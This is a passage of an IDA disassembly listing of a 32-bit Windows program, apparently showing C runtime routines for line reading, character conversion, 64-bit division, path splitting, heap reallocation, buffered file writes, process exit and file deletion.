sub_417080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41713C	proc near		; CODE XREF: sub_4085D3+AFp
					; sub_40CE55+4479p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_417150
		xor	eax, eax
		jmp	short loc_417186
; ---------------------------------------------------------------------------

loc_417150:				; CODE XREF: sub_41713C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_417180
		mov	esi, [ebp+arg_8]

loc_417159:				; CODE XREF: sub_41713C+42j
		dec	dword ptr [esi+4]
		js	short loc_417168
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41716F
; ---------------------------------------------------------------------------

loc_417168:				; CODE XREF: sub_41713C+20j
		push	esi
		call	sub_41B8B0
		pop	ecx

loc_41716F:				; CODE XREF: sub_41713C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41718A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_417180
		dec	[ebp+arg_4]
		jnz	short loc_417159

loc_417180:				; CODE XREF: sub_41713C+18j
					; sub_41713C+3Dj ...
		and	byte ptr [edi],	0

loc_417183:				; CODE XREF: sub_41713C+55j
		mov	eax, ebx
		pop	esi

loc_417186:				; CODE XREF: sub_41713C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41718A:				; CODE XREF: sub_41713C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_417180
		xor	ebx, ebx
		jmp	short loc_417183
sub_41713C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417193	proc near		; CODE XREF: sub_409B24+6p
					; sub_409B42+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_469528, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_4171C0
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_417259
		cmp	eax, 5Ah
		jg	loc_417259
		add	eax, 20h
		jmp	loc_417259
; ---------------------------------------------------------------------------

loc_4171C0:				; CODE XREF: sub_417193+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_4171F4
		cmp	dword_437F7C, esi
		jle	short loc_4171E2
		push	esi
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_4171EC
; ---------------------------------------------------------------------------

loc_4171E2:				; CODE XREF: sub_417193+42j
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_4171EC:				; CODE XREF: sub_417193+4Dj
		test	eax, eax
		jnz	short loc_4171F4

loc_4171F0:				; CODE XREF: sub_417193+ADj
		mov	eax, ebx
		jmp	short loc_417259
; ---------------------------------------------------------------------------

loc_4171F4:				; CODE XREF: sub_417193+3Aj
					; sub_417193+5Bj
		mov	edx, off_437D70
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417218
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_417221
; ---------------------------------------------------------------------------

loc_417218:				; CODE XREF: sub_417193+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_417221:				; CODE XREF: sub_417193+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_469528
		call	sub_41BD71
		add	esp, 20h
		test	eax, eax
		jz	short loc_4171F0
		cmp	eax, esi
		jnz	short loc_41724C
		movzx	eax, [ebp+var_4]
		jmp	short loc_417259
; ---------------------------------------------------------------------------

loc_41724C:				; CODE XREF: sub_417193+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_417259:				; CODE XREF: sub_417193+16j
					; sub_417193+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417193	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417260	proc near		; CODE XREF: sub_40AA1B+3Dp
					; sub_40C218+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_417281
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4172D1
; ---------------------------------------------------------------------------

loc_417281:				; CODE XREF: sub_417260+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_41728F:				; CODE XREF: sub_417260+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41728F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4172BA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4172BA
		jb	short loc_4172C2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4172C2

loc_4172BA:				; CODE XREF: sub_417260+4Aj
					; sub_417260+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_4172C2:				; CODE XREF: sub_417260+52j
					; sub_417260+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_4172D1:				; CODE XREF: sub_417260+1Fj
		pop	ebx
		retn	10h
sub_417260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4172E0	proc near		; CODE XREF: sub_40AA1B+24p
					; sub_40C218+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_417302
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_417343
; ---------------------------------------------------------------------------

loc_417302:				; CODE XREF: sub_4172E0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_417310:				; CODE XREF: sub_4172E0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_417310
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41733E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41733E
		jb	short loc_41733F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41733F

loc_41733E:				; CODE XREF: sub_4172E0+4Ej
					; sub_4172E0+54j
		dec	esi

loc_41733F:				; CODE XREF: sub_4172E0+56j
					; sub_4172E0+5Cj
		xor	edx, edx
		mov	eax, esi

loc_417343:				; CODE XREF: sub_4172E0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_4172E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417348	proc near		; CODE XREF: sub_40AAD1+1E3p
					; sub_40C682+104p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_415CF0
		cmp	eax, 1
		pop	ecx
		jb	short loc_417383
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_417383
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41737F
		push	2
		push	ebx
		push	esi
		call	sub_41C3A0
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_41737F:				; CODE XREF: sub_417348+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41738D
; ---------------------------------------------------------------------------

loc_417383:				; CODE XREF: sub_417348+18j
					; sub_417348+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41738D
		and	byte ptr [eax],	0

loc_41738D:				; CODE XREF: sub_417348+39j
					; sub_417348+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_417405

loc_4173A0:				; CODE XREF: sub_417348+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_46A9E1[edx], 4
		jz	short loc_4173B1
		inc	eax
		jmp	short loc_4173CB
; ---------------------------------------------------------------------------

loc_4173B1:				; CODE XREF: sub_417348+64j
		cmp	cl, 2Fh
		jz	short loc_4173C5
		cmp	cl, 5Ch
		jz	short loc_4173C5
		cmp	cl, 2Eh
		jnz	short loc_4173CB
		mov	[ebp+var_4], eax
		jmp	short loc_4173CB
; ---------------------------------------------------------------------------

loc_4173C5:				; CODE XREF: sub_417348+6Cj
					; sub_417348+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_4173CB:				; CODE XREF: sub_417348+67j
					; sub_417348+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4173A0
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_417405
		cmp	[ebp+arg_8], 0
		jz	short loc_417400
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4173E9
		mov	edi, esi

loc_4173E9:				; CODE XREF: sub_417348+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41C3A0
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_417400:				; CODE XREF: sub_417348+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41740F
; ---------------------------------------------------------------------------

loc_417405:				; CODE XREF: sub_417348+56j
					; sub_417348+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41740F
		and	byte ptr [ecx],	0

loc_41740F:				; CODE XREF: sub_417348+BBj
					; sub_417348+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_417462
		cmp	edi, ebx
		jb	short loc_417462
		cmp	[ebp+arg_C], 0
		jz	short loc_41743F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417428
		mov	edi, esi

loc_417428:				; CODE XREF: sub_417348+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41C3A0
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41743F:				; CODE XREF: sub_417348+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41748A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41744F
		mov	esi, eax

loc_41744F:				; CODE XREF: sub_417348+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41C3A0
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41748A
; ---------------------------------------------------------------------------

loc_417462:				; CODE XREF: sub_417348+CCj
					; sub_417348+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_417480
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_417471
		mov	esi, eax

loc_417471:				; CODE XREF: sub_417348+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41C3A0
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_417480:				; CODE XREF: sub_417348+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41748A
		and	byte ptr [eax],	0

loc_41748A:				; CODE XREF: sub_417348+FCj
					; sub_417348+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417348	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41748F	proc near		; CODE XREF: sub_40B1E1+19p
					; sub_412D06+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_417D4C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4174CD
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4174DA
; ---------------------------------------------------------------------------

loc_4174CD:				; CODE XREF: sub_41748F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C37
		pop	ecx
		pop	ecx

loc_4174DA:				; CODE XREF: sub_41748F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41748F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4174DF	proc near		; CODE XREF: sub_40B459+2Ep
					; sub_4167D3+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_4174FA
		push	[esp+10h+arg_4]
		call	sub_415DC9
		pop	ecx
		jmp	loc_4175FA
; ---------------------------------------------------------------------------

loc_4174FA:				; CODE XREF: sub_4174DF+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_417510
		push	ebx
		call	sub_415E3D
		pop	ecx

loc_417509:				; CODE XREF: sub_4174DF+114j
		xor	eax, eax
		jmp	loc_4175FA
; ---------------------------------------------------------------------------

loc_417510:				; CODE XREF: sub_4174DF+21j
					; sub_4174DF+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4175DB
		push	ebx
		call	sub_418AFD
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_4175B8
		cmp	esi, dword_437F8C
		ja	short loc_417578
		push	esi
		push	ebx
		push	ebp
		call	sub_419308
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417547
		mov	edi, ebx
		jmp	short loc_417570
; ---------------------------------------------------------------------------

loc_417547:				; CODE XREF: sub_4174DF+62j
		push	esi
		call	sub_418E53
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_417578
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41755E
		mov	eax, esi

loc_41755E:				; CODE XREF: sub_4174DF+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_4155D0
		push	ebx
		push	ebp
		call	sub_418B28
		add	esp, 14h

loc_417570:				; CODE XREF: sub_4174DF+66j
		test	edi, edi
		jnz	loc_4175F8

loc_417578:				; CODE XREF: sub_4174DF+53j
					; sub_4174DF+73j
		test	esi, esi
		jnz	short loc_41757F
		push	1
		pop	esi

loc_41757F:				; CODE XREF: sub_4174DF+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_46AB00
		call	dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4175DB
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4175A4
		mov	eax, esi

loc_4175A4:				; CODE XREF: sub_4174DF+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_4155D0
		push	ebx
		push	ebp
		call	sub_418B28
		add	esp, 14h
		jmp	short loc_4175D7
; ---------------------------------------------------------------------------

loc_4175B8:				; CODE XREF: sub_4174DF+47j
		test	esi, esi
		jnz	short loc_4175BF
		push	1
		pop	esi

loc_4175BF:				; CODE XREF: sub_4174DF+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_46AB00
		call	dword_421160	; RtlReAllocateHeap
		mov	edi, eax

loc_4175D7:				; CODE XREF: sub_4174DF+D7j
		test	edi, edi
		jnz	short loc_4175F8

loc_4175DB:				; CODE XREF: sub_4174DF+36j
					; sub_4174DF+B9j
		cmp	dword_4694F4, 0
		jz	short loc_4175F8
		push	esi
		call	sub_418A68
		test	eax, eax
		pop	ecx
		jnz	loc_417510
		jmp	loc_417509
; ---------------------------------------------------------------------------

loc_4175F8:				; CODE XREF: sub_4174DF+93j
					; sub_4174DF+FAj ...
		mov	eax, edi

loc_4175FA:				; CODE XREF: sub_4174DF+16j
					; sub_4174DF+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4174DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175FF	proc near		; CODE XREF: sub_40BAB4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_417623
		xor	eax, eax
		jmp	loc_4176F0
; ---------------------------------------------------------------------------

loc_417623:				; CODE XREF: sub_4175FF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417636
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41763D
; ---------------------------------------------------------------------------

loc_417636:				; CODE XREF: sub_4175FF+2Dj
		mov	[ebp+arg_C], 1000h

loc_41763D:				; CODE XREF: sub_4175FF+35j
					; sub_4175FF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_417671
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_417671
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_417657
		mov	edi, eax

loc_417657:				; CODE XREF: sub_4175FF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_4155D0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4176B7
; ---------------------------------------------------------------------------

loc_417671:				; CODE XREF: sub_4175FF+47j
					; sub_4175FF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4176BC
		test	ecx, ecx
		jz	short loc_417685
		push	esi
		call	sub_4186E4
		test	eax, eax
		pop	ecx
		jnz	short loc_4176FE

loc_417685:				; CODE XREF: sub_4175FF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_417698
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41769A
; ---------------------------------------------------------------------------

loc_417698:				; CODE XREF: sub_4175FF+8Aj
		mov	edi, ebx

loc_41769A:				; CODE XREF: sub_4175FF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41C42A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4176F5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4176F5

loc_4176B7:				; CODE XREF: sub_4175FF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4176E5
; ---------------------------------------------------------------------------

loc_4176BC:				; CODE XREF: sub_4175FF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_417C37
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4176FE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4176E5
		mov	[ebp+arg_C], 1

loc_4176E5:				; CODE XREF: sub_4175FF+BBj
					; sub_4175FF+DDj
		test	ebx, ebx
		jnz	loc_41763D
		mov	eax, [ebp+arg_8]

loc_4176F0:				; CODE XREF: sub_4175FF+1Fj
					; sub_4175FF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4176F5:				; CODE XREF: sub_4175FF+ADj
					; sub_4175FF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_417700
; ---------------------------------------------------------------------------

loc_4176FE:				; CODE XREF: sub_4175FF+84j
					; sub_4175FF+CFj
		mov	eax, edi

loc_417700:				; CODE XREF: sub_4175FF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4176F0
sub_4175FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_417709	proc near		; CODE XREF: sub_40C1FE+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417729
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		call	sub_41C5D7
		pop	ecx

loc_417725:				; CODE XREF: sub_417709+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_417729:				; CODE XREF: sub_417709+Dj
		test	al, 1
		jz	short loc_41774A
		test	[esp+arg_4], 2
		jz	short loc_41774A
		mov	dword_469494, 0Dh
		mov	dword_469498, 5
		jmp	short loc_417725
; ---------------------------------------------------------------------------

loc_41774A:				; CODE XREF: sub_417709+22j
					; sub_417709+29j
		xor	eax, eax
		retn
sub_417709	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417750	proc near		; CODE XREF: sub_40C328+5Fp
					; sub_40C328+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_417771
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_417771:				; CODE XREF: sub_417750+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41778D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41778D:				; CODE XREF: sub_417750+27j
		or	eax, eax
		jnz	short loc_4177A9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4177EA
; ---------------------------------------------------------------------------

loc_4177A9:				; CODE XREF: sub_417750+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_4177B7:				; CODE XREF: sub_417750+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4177B7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4177E5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4177E5
		jb	short loc_4177E6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4177E6

loc_4177E5:				; CODE XREF: sub_417750+85j
					; sub_417750+8Bj
		dec	esi

loc_4177E6:				; CODE XREF: sub_417750+8Dj
					; sub_417750+93j
		xor	edx, edx
		mov	eax, esi

loc_4177EA:				; CODE XREF: sub_417750+57j
		dec	edi
		jnz	short loc_4177F4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_4177F4:				; CODE XREF: sub_417750+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_417750	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177FA	proc near		; CODE XREF: sub_417AF8+93p
		mov	eax, off_437D3C
		test	eax, eax
		jz	short loc_417805
		call	eax ; sub_415F3B

loc_417805:				; CODE XREF: sub_4177FA+7j
		push	offset dword_423028
		push	offset dword_423014
		call	sub_4178E2
		push	offset dword_423010
		push	offset dword_423000
		call	sub_4178E2
		add	esp, 10h
		retn
sub_4177FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417827	proc near		; CODE XREF: sub_417AF8+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_417849
		add	esp, 0Ch
		retn
sub_417827	endp


; =============== S U B	R O U T	I N E =======================================



sub_417838	proc near		; CODE XREF: seg000:00417BE9p
					; sub_417BEE+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_417849
		add	esp, 0Ch
		retn
sub_417838	endp


; =============== S U B	R O U T	I N E =======================================



sub_417849	proc near		; CODE XREF: sub_417827+8p
					; sub_417838+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4694DC, edi
		jnz	short loc_417866
		push	[esp+4+arg_0]
		call	dword_421104	; GetCurrentProcess
		push	eax
		call	dword_421140	; TerminateProcess

loc_417866:				; CODE XREF: sub_417849+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4694D8, edi
		mov	byte_4694D4, bl
		jnz	short loc_4178BA
		mov	eax, dword_46AB14
		test	eax, eax
		jz	short loc_4178A9
		mov	ecx, dword_46AB10
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_4178A8

loc_417895:				; CODE XREF: sub_417849+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41789D
		call	eax

loc_41789D:				; CODE XREF: sub_417849+50j
		sub	esi, 4
		cmp	esi, dword_46AB14
		jnb	short loc_417895

loc_4178A8:				; CODE XREF: sub_417849+4Aj
		pop	esi

loc_4178A9:				; CODE XREF: sub_417849+3Cj
		push	offset dword_423034
		push	offset dword_42302C
		call	sub_4178E2
		pop	ecx
		pop	ecx

loc_4178BA:				; CODE XREF: sub_417849+33j
		push	offset dword_423040
		push	offset dword_423038
		call	sub_4178E2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_4178E0
		push	[esp+4+arg_0]
		mov	dword_4694DC, edi
		call	dword_421114	; ExitProcess

loc_4178E0:				; CODE XREF: sub_417849+85j
		pop	edi
		retn
sub_417849	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178E2	proc near		; CODE XREF: sub_4177FA+15p
					; sub_4177FA+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_4178E7:				; CODE XREF: sub_4178E2+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_4178FA
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4178F5
		call	eax

loc_4178F5:				; CODE XREF: sub_4178E2+Fj
		add	esi, 4
		jmp	short loc_4178E7
; ---------------------------------------------------------------------------

loc_4178FA:				; CODE XREF: sub_4178E2+9j
		pop	esi
		retn
sub_4178E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178FC	proc near		; CODE XREF: sub_40CE55+2AAAp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_421118	; DeleteFileA
		test	eax, eax
		jnz	short loc_417912
		call	dword_421088	; RtlGetLastWin32Error
		jmp	short loc_417914
; ---------------------------------------------------------------------------

loc_417912:				; CODE XREF: sub_4178FC+Cj
		xor	eax, eax

loc_417914:				; CODE XREF: sub_4178FC+14j
		test	eax, eax
		jz	short loc_417923
		push	eax
		call	sub_41C5D7
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_417923:				; CODE XREF: sub_4178FC+1Aj
		xor	eax, eax
		retn
sub_4178FC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417930	proc near		; CODE XREF: sub_412B60+1Dp

